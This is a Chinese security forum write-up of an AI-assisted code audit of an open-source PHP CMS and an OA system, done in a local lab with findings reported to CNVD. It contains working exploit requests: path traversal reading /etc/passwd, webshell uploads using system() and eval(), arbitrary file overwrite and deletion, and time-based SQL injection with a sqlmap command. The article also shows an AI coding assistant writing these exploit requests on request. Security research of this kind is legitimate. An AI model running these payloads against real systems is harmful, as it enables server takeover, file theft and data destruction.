问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
结合阿里云通义灵码辅助新手小白快速代码审计的最佳实践
渗透测试
本文介绍了作者在数据安全比赛中遇到的一个开源框架的代码审计过程。作者使用了多种工具,特别是“通义灵码”,帮助发现了多个高危漏洞,包括路径遍历、文件上传、目录删除、SQL注入和XSS漏洞。文章详细描述了如何利用这些工具进行漏洞定位和验证,并分享了使用“通义灵码”的心得和体验。最后,作者总结了AI在代码审计中的优势和不足,并展望了未来的发展方向。
前言 == 已经有接近两个月没有更新文章了,给大家说声抱歉。这段时间因为个人原因一直在备赛,所以9月去参加云栖大会的观后感,以及之前兴致勃勃想测评大模型平台的文章也迟迟没有写出来。**争取在未来的两个月内把这些内容都补上**。 准备的比赛是数据安全相关的,由于队伍中有几位经验丰富的大佬带领,我们自然也是顺利入围了全国决赛。至于为什么要写这篇文章呢?说来也很巧,在半决赛时,有一个靶机直接把我们零封了,全场没有一个人能getshell。该靶机采用的是一个开源框架,而且网上并没有任何公开可用的漏洞信息,且由于比赛是在局域网环境下进行的,也没办法直接把代码拉下来审计。 赛后,我对这件事一直耿耿于怀,于是这两周就把这个框架好好地审计了一遍,确实找到了一些有趣且潜在的漏洞点。而在这一过程中,**“通义灵码”起到了较大的帮助**,帮助我节省了不少时间。这里,我想借这篇文章分享一下我的发现以及整个过程中的一些心得体会,姑且也算是个最佳实践了。 审计对象 ==== 本次审计的对象主要有两个:**某开源PHP最新版6.0** 和 **某开源OA最新版2.6.5** 借助通义灵码,共审计出开源PHP最新版6.0高危漏洞**4**个,某开源OA最新版2.6.5高危漏洞**1**个 , 目前已提交至CNVD平台且被归档。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-a2f8677aba0ae00b482e3273c7bd3a6efc239465.png) 工具准备 ==== 环境搭建工具 ------ **phpstudy\_pro(小皮面板)**:在国内比较流行的一键安装环境包,它集成了 PHP、MySQL、Apache/Nginx 等服务,方便开发者快速搭建 Web 开发和测试环境,用于上述两个靶场的搭建。 代码审计工具 ------ **Seay源代码审计**:基于C#语言开发的一款针对PHP代码安全性审计的系统,主要运行于Windows系统上。这款软件能够发现SQL注入、代码执行、命令执行、文件包含、文件上传、绕过转义防护、拒绝服务、XSS跨站、信息泄露、任意URL跳转等漏洞,基本上覆盖常见PHP漏洞。另外,在功能上,它支持一键审计、代码调试、函数定位、插件扩展、自定义规则配置、代码高亮、编码调试转换、数据库执行监控等数十项强大功能,由于已经停止维护了,官网上也下载不到,百度云盘地址如下:<https://pan.baidu.com/s/1HHnniTNWzXhb-pn6OZgexA> 密码:75ji **CodeScan**:基于GO语言的快速匹配Sink点的工具,使用起来还行,地址如下:<https://github.com/Zjackky/CodeScan> **RIPS :**Rips是一个用PHP编写的源代码分析工具,它采用了静态分析技术,能够自动化地检测PHP代码中的安全漏洞,如XSS(跨站脚本攻击)、SQL注入、文件泄露、Header Injection等。Rips不仅提供了直观的扫描结果展示,还集成了代码审计框架,方便渗透测试人员直接审阅分析结果,大大提高了代码审计的效率。地址如下:<https://rips-scanner.sourceforge.net/> 代码编写及辅助工具 --------- **Visual Studio Code** :(简称 VS Code) 是由微软开发的一款免费且开源的源代码编辑器,支持 Windows、macOS 和 Linux 平台。 **通义灵码**:本次的主角,基于通义大模型的 AI 研发辅助工具,包含 AI 编码助手和 AI 程序员。其中,AI 编码助手为开发者写代码、补代码、写注释、写单测、写代码优化和排查问题,是开发者的编码搭子; AI 程序员是一个 AI 编程智能体,可以模拟软件架构师、开发工程师、测试工程师等多种岗位能力,分钟级自主完成任务拆解、代码编写、缺陷修复、测试等编程相关任务,为企业软件研发降本增效。 遗憾的是,我这里没有申请到AI 程序员的试用资格,所以只能暂时以灵码为例了。 源码下载 ==== 由于是开源代码,在Github、gitee以及站长网站上都是可以免费下载到的,有些开源网站如果有定制服务的话也可能会有自己的主站。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-3ec7b44ebaf03ff69ce963166428c90366605b7d.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8c84160c34843ce849347d0f446c094f2bebcd07.png) 环境搭建 ==== 将下载后的源码放在phpstudy的 www 目录下 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-74831cb4e6a4a8da57be7b9cff8968735fefbafa.png) 进入 phpstudy\_pro\\WWW\\cltopen-master\\cltopen-master\\config 目录下,修改数据库配置文件 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-ec793ab6e7a0b4cf58b5088dbb89fda6c3bec248.png) 修改之后可以进入数据库中,导入该开源项目的示例数据库 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-63d6350ab843a1fbaa09f1fc6802771ee6f26d15.png) 打开phpstudy ,设置域名和根目录 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-6fdbbae69c6a15ae236ba06b79fa093f1bb8e1d9.png) 设置伪静态(必须) ```js location / { if (!-e $request_filename){ rewrite ^(.*)$ /index.php?s=$1 last; break; } } ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-87d92670b0684a00b5012f7846e517409331e50a.png) 点击确认即可,打开浏览器访问域名即可看到 同理,对于某OA系统的搭建也是如此,只不过该OA里自带了一个初始化数据库的引导界面,所以不需要手动修改数据库配置文件 审计打点 ==== 在环境搭建好之后就可以开始准备代码审计了,正常来说代码审计的第一步应该是熟悉框架、通读代码,具体的方式与个人代码能力和编程语言的熟悉程度有关系,有时,为了快速审计,就会采用上述几个工具进行打点和标注,由于工具内置的正则不同,所以结果也会略有差异,如果想尽可能的找到所有漏洞点的话,应该以上述工具的结果之和为参考。 值得一说的是,有时候工具可能也会存在漏报和误报的情况,所以此处结果仅能做参考,还需要人工进行审核和验证。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-9487195bb0e945d47c750512d2c4cc37247c3b0b.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-369836dccb6867aa32a0da341ff6fe28988ecf12.png) 这套开源代码的漏洞确实比较多,后台随手一测就是一个SQL注入,所以我们这里只挑危害比较高的漏洞去挖掘,主要关注文件读取、文件包含、文件上传等方法。 在排除该代码5.5版本及之前存在且已修复的漏洞后,最终锁定到后台管理控制层下面的Template.php文件处(本次仅针对此处进行了挖掘和分析) 源码分析 ==== 打开源码,进入到Template.php页面下,可以看到代码如下: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-96cddd16f561e8d380544e017492a10aae00bce1.png) 主要是定义了一个 Template 控制类,用于管理模板文件的增删改查操作,以及图片文件的管理和删除。 按照往常,我们应该会结合上述审查工具提示的代码位置去进行分析和判断,但是,现在我们有了**通义灵码**,一切都变得不一样了。 首先我们全选代码,使用提示词如下: > 已知该代码中存在安全漏洞,请你找出你能确定的漏洞,并简要分析该漏洞形成原因 这段 prompt 有几点比较关键: 1. 我们需要明确告知灵码,这里**确实存在**安全漏洞,同时也是确认主题,避免输出其他内容 2. 我们需要告知,找出它能**确定的**漏洞,减少误报和泛化判断 3. 明确最终结果是**分析该漏洞形成原因**,也便于安全工程师理解 随即,灵码会针对该段代码进行一次静态审查,并给出结果如下: ```js 安全漏洞及分析 1.路径遍历漏洞 位置:insert, edit, update, delete, imgDel , Images方法 原因:用户输入的文件路径和文件名未进行严格验证,可能导致路径遍历攻击。例如,通过在文件名中包含 ../,攻击者可以访问或操作任意文件。 示例: php $filename = input('post.file'); // 用户输入未验证 $path = $type==$this->viewSuffix ? $this->filepath : $this->publicpath.$type.'/'; $file = $path.$filename.'.'.$type; // 可能导致路径遍历 2.文件上传漏洞 位置:insert, update 方法 原因:用户上传的内容未进行严格验证,可能导致恶意代码注入。例如,攻击者可以通过上传恶意脚本文件来执行任意代码。 示例: php file_put_contents($file, stripslashes(input('post.content'))); // 未验证内容 3.目录删除漏洞 位置:imgDel 方法 原因:用户输入的目录路径未进行严格验证,可能导致任意目录被删除。 示例: php $path = $this->publicpath.'images/'.input('post.folder'); // 用户输入未验证 $file=$path.input('post.filename'); // 可能导致路径遍历 is_dir($file) ? dir_delete($file) : unlink($file); // 删除目录或文件 4.SQL 注入漏洞 位置:无明显 SQL 注入风险,但需要注意后续可能引入的数据库操作。 原因:虽然当前代码没有直接的 SQL 操作,但如果后续版本中引入了数据库操作,且用户输入未进行适当处理,可能会导致 SQL 注入。 5.XSS 漏洞 位置:edit, images 方法 原因:用户输入的内容未进行转义处理,可能导致跨站脚本攻击(XSS)。 示例: php $content = file_get_contents($file); // 未转义 $this->assign ( 'content',$content ); // 直接输出到页面 ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-2350e102fc6bf4f813727c4c12619528bca6cf5c.png) 每一个漏洞下面都标明了存在该漏洞的方法和引发原因,并且对于不存在的漏洞也明确说明了(没有产生幻觉) 下面,我们需要做的就是进入到web界面中,找到调用此处方法的位置 路径遍历漏洞、任意文件删除漏洞 --------------- ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-e09f6dfba5eab68b7d8b30a98519bc5c255e1c21.png) 采用BP抓包,此处以edit方法为例,可以发现拼接方式是 **admin/模块/方法/操作对象类型/操作对象** ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-d9ebb81fbd0c93e6a99fe9603d34e8af28ab7294.png) 观察到下面的update方法是在保存之后可以直接执行的,所以此处尝试直接替换成edit方法 其中请求包如下: ```js GET /admin/template/edit.html HTTP/1.1 Host: xxx.xxx.xxx.xxx Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://public/admin/template/index.html Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8 Connection: close ``` 假设是一个完全看不懂代码的小白,你也可以选择把这段请求包丢进去: > 已知请求包如下,请你帮忙修改请求包以验证该漏洞存在: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-2c058fe91e0bba63bd168cc9247ddbdc14d412a6.png) 此时,它会根据当前的传入参数自动构造一个修改后的返回包: ```js GET /admin/template/edit.html?file=../../../../etc/passwd HTTP/1.1 Host: xxx.xxx.xxx.xxx Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://public/admin/template/index.html Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8 Connection: close ``` 默认是以Linux服务器的路径为例的,也可以告知说明是windows系统,让他再次修改。 ```js GET /admin/template/edit.html?file=..\..\..\..\Windows\System32\drivers\etc\hosts HTTP/1.1 Host: xxx.xxx.xxx.xxx Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://public/admin/template/index.html Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8 Connection: close ``` 除此,下面也配上了漏洞分析和预期结果: ```js 漏洞分析 文件名参数:file=..\..\..\..\Windows\System32\drivers\etc\hosts 这个参数尝试通过路径遍历访问 Windows 系统根目录下的 C:\Windows\System32\drivers\etc\hosts 文件。如果服务器存在路径遍历漏洞,这个请求将会返回 hosts 文件的内容。 其他参数:保留原始请求中的其他参数,以确保请求的完整性和有效性。 预期结果 如果服务器存在路径遍历漏洞,响应中将包含 hosts 文件的内容。 如果服务器没有漏洞,响应中可能会显示错误信息,表示文件不存在或无法访问。 ``` 再回到BP中,我们根据当前路径尝试验证,成功复现漏洞,可以任意读取文件内容: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-7266a31fd0f1980236625e01e665c8c68b8bd187.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-2bf733a4e4c41721fd9d182651dd9784e03d9be3.png) 再比如,定位到Images方法处 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-42e3abb0de651ce36c219f5e09e5fcf3211214e9.png) 采用BP抓包,可直接抓到如下地址: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-baafda7744fcdb443a2a277037cf14881352d18a.png) 借助灵码直接构造请求包如下: ```js GET /admin/template/images.html?folder=../../ HTTP/1.1 Host: xxx.xxx.xxx.xxx Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://public/admin/template/index.html Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8 Connection: close ``` 可在图片查看界面实现对文件目录的遍历: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8006cb1148fb8d050da6d3cbebec9158a15c70fd.png) 同理,这里也可以结合imgDel方法实现对服务器任意文件的删除,具有极高危害! ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-cce2d44dc8c1895c05b00f3bf359290b6e0f3723.png) 文件上传漏洞、文件内容覆盖漏洞 --------------- 继续跟进上述灵码输出内容,我们知道此处insert, update 方法还存在文件上传漏洞 在BP中抓包地址如下: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-56e0c6b24a958dce100ab8315fbc0afd4d0a4610.png) 我们先修改为insert方法,故当前请求包为: ```js POST /admin/template/insert.html HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 48 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://public Referer: http://public/admin/template/edit/file/article_list.html.html Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8 Connection: close ``` 将请求包丢入灵码中,让其构造能够验证漏洞存在的请求包: > 已知insert方法中存在文件上传漏洞,下面这是该方法的请求包,请你修改请求包以让我验证漏洞是否存在,依据代码本身来,不要额外新增参数 ```js POST /admin/template/insert.html HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 65 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://public Referer: http://public/admin/template/edit/file/article_list.html.html Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8 Connection: close file=test.php&type=php&content=<?php system($_GET['cmd']); ?> ``` 可以看到,灵码根据当前insert方法需要输入的参数,自己构造了一个请求包 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-307de4e62788fe6f0ca6eb252274369d25ddcccf.png) 并且下面也给出了相应解释及详细验证步骤 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-6316f980e4bd04649b4e36f60f697e826d7b7902.png) 因为是本机测试环境,所以我就换了一个无影响的文件内容来进行验证 ```js POST /admin/template/insert.html HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 48 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://public Referer: http://public/admin/template/edit/file/article_list.html.html Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8 Connection: close file=../../shell&type=php&content=<?php eval($_POST[1]);?> ``` 返回包提示添加成功 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-03dfd56d4927450c20664416fd95e23d6a910137.png) 在static目录下可以看到该上传的文件 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8b7c60e06fb141d6e6854f60badde59db5762611.png) 由于没有限制文件格式和内容,此处是可以上传任何格式和内容 同理,我们看到update方法的构造是与上述insert方法一摸一样的,也存在多个可控参数 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-c51af30fc107018b0e8dc1c12f2fd99a92bff361.png) 这里直接延用上述请求包即可: ```js POST /admin/template/update.html HTTP/1.1 Host: public Content-Length: 46 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://public Referer: http://public/admin/template/index.html Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8 Connection: close file=../../../ceshi.txt&type=txt&content=nihao ``` 但注意,此处原请求type值为空,file文件后跟上后缀.html,但如果要任意文件修改,则必须指明type类型,不能为空,在file后也要写文件的全名(包括后缀) 执行后结果如下: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-5ed74b683b7d63fcb1fd0942ec6867c974e744a3.png) 原测试文件内容如下: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-2bfa461917d586501292e77d698ef62570fa7d7c.png) 执行后文件内容如下: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-86f40dae72670161c21f94099ea1949494551228.png) 可以看到已实现对任意文件内容的修改 SQL注入漏洞 ------- 看完了几个高危,我们再来看看比较常见的SQL注入漏洞,这个项目的后台因为本身就可以实现对数据库的管理,所以后台已授权的SQL注入反而显得毫无价值了,我们仅以此为例,来看看通义灵码全面的辅助审计能力 进入到广告管理模块下面,看到其调用的方法来自AD.php 继续使用上述prompt: > 已知该代码中存在SQL注入漏洞,请你找出你能确定的漏洞,并简要分析该漏洞形成原因 此处因为目标是寻找SQL注入漏洞,为了进一步缩小范围,可以直接告知它存在该漏洞,如若不存在,它会明确告知无SQL注入风险 它给出的回答如下: ```js 在提供的代码中,存在多个潜在的SQL注入漏洞。以下是一些确定的漏洞及其成因分析: 1. index 方法中的 where 条件 ->where('a.title', 'like', "%" . $key . "%") 成因分析:$key 是从用户输入的 post.key 获取的,没有进行任何过滤或转义。 如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。 示例攻击:用户输入 key 为 1' OR '1'='1,查询条件将变为 a.title LIKE '%1\' OR \'1\'=\'1%',这将导致查询返回所有记录。 2. editState 方法中的 where 条件 if(db('ad')->where('id='.$id)->update(['open'=>$open])!==false){ 成因分析:$id 是从用户输入的 post.id 获取的,没有进行任何过滤或转义。 如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。 示例攻击:用户输入 id 为 1 OR 1=1,查询条件将变为 id=1 OR 1=1,这将导致更新所有记录。 3. del 方法中的 where 条件 db('ad')->where(array('id'=>input('id')))->delete(); 成因分析:虽然这里使用了数组形式的 where 条件,但在某些情况下,如果 input('id') 是一个复杂的表达式,仍然可能存在风险。 最好使用参数绑定来确保安全性。 4. delall 方法中的 where 条件 $map[] =array('id','in',input('param.ids/a')); db('ad')->where($map)->delete(); 成因分析:input('param.ids/a') 直接用于 IN 子句,没有进行任何过滤或转义。 如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。 示例攻击:用户输入 ids 为 1,2,3) OR 1=1 --,查询条件将变为 id IN (1,2,3) OR 1=1 --,这将导致删除所有记录。 ``` 比如说我们想聚焦到其中一个方法下面,具体对其进行研究和复现,可以使用如下prompt: > 请详细讨论editState 方法中的 where 条件 灵码就会针对该方法进行详细的分析: ```js 问题分析 用户输入直接拼接到 SQL 语句中:$id 和 $open 是从用户输入的 POST 请求中直接获取的,没有进行任何验证或转义。 这种做法非常危险,因为用户可以通过构造恶意的输入来注入 SQL 代码。 SQL 注入风险:如果用户输入的 id 为 1 OR 1=1,查询条件将变为 id=1 OR 1=1,这将导致更新所有记录。 类似地,如果用户输入的 open 为 1; DROP TABLE ad; --,可能会导致更严重的后果。 示例攻击 假设用户发送以下 POST 请求: POST /admin/ad/editState HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded id=1 OR 1=1&open=1 生成的 SQL 语句将是: UPDATE `ad` SET `open` = 1 WHERE id = 1 OR 1=1 这条 SQL 语句将更新表 ad 中的所有记录,而不是仅仅更新 id 为 1 的记录。 ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-373671f2289e404f772c538c7c440363e2971437.png) 对应的,我们直接去web界面的广告管理模块,找到调用editState方法的位置 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-7a3a7dc191bb3e292c6f907856403f64be240a01.png) 抓包如下,构造延迟注入: ```js POST /admin/ad/editstate.html HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 25 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://public Referer: http://public/admin/ad/index.html Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=bs9fg0tv537v13ooprl3j6v6bb; skin=0 Connection: close id=38 and sleep(5)&open=1 ``` 验证发现可以延迟 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8333eeda056281ed41f678e4855bc112644ad3ba.png) 随后采用SQLmap进行验证存在 ```js py sqlmap.py -r url.txt --batch --dbms=mysql --is-dba ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-eddf429a048438431aa3974e8cef23ee8661720c.png) 总结及展望 ===== 我接触灵码也已经快两年了,之前一直都是用来写运维脚本,这是我第一次尝试结合AI工具来辅助代码审计,在实际应用中,通义灵码的表现确实是超出了我的预期。它不仅帮助我快速定位了多个潜在的安全漏洞,而且还极大地提升了审计工作的效率。这一经历让我深刻认识到,AI技术在软件安全领域的应用前景广阔,尤其是在提高代码审查质量和速度方面具有显著优势。
发表于 2025-01-06 10:00:00
阅读 ( 4933 )
分类:
漏洞分析
3 推荐
收藏
1 条评论
Xiao06
5天前
牛逼,学到了
请先
登录
后评论
请先
登录
后评论
周周的奇妙编程
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!